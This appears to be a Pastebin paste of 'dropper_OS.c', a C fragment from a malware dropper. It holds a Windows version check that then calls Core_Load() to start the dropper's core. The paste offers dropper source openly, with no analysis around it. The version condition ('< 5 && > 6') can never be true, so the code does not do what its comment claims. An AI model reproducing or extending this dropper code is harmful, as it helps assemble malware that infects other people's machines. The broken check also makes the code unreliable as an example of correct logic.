Advertisement
FlyFar

dropper_OS.c

Feb 18th, 2023
592
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.95 KB | Cybersecurity | 0 0
  1. #include "3. OS.h"
  2. #include "2. STUBHandler.h"
  3.  
  4. #include "config.h"
  5.  
  6. /*************************************************************************
  7. ** This function check that the system is not too old or too new,       **
  8. ** it works with all the versions of Windows from Windows 2000 to       **
  9. ** Windows 8 included, in the asm code the function is called with a    **
  10. ** value (0 and 1) but actually it is not used, maybe it was used in    **
  11. ** debug mode.                                                          **
  12. *************************************************************************/
  13. void CheckSystemVersion(BOOL bBool)
  14. {
  15.     OSVERSIONINFO lpSysInfo;
  16.     lpSysInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  17.    
  18.     if(!GetVersionEx(&lpSysInfo)
  19.     || lpSysInfo.dwPlatformId != VER_PLATFORM_WIN32_NT
  20.     || (lpSysInfo.dwMajorVersion < 5 && lpSysInfo.dwMajorVersion > 6))
  21.     {
  22.         DEBUG_P("Wrong system version detected.")
  23.         return;
  24.     }
  25.    
  26.     Core_Load();
  27. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement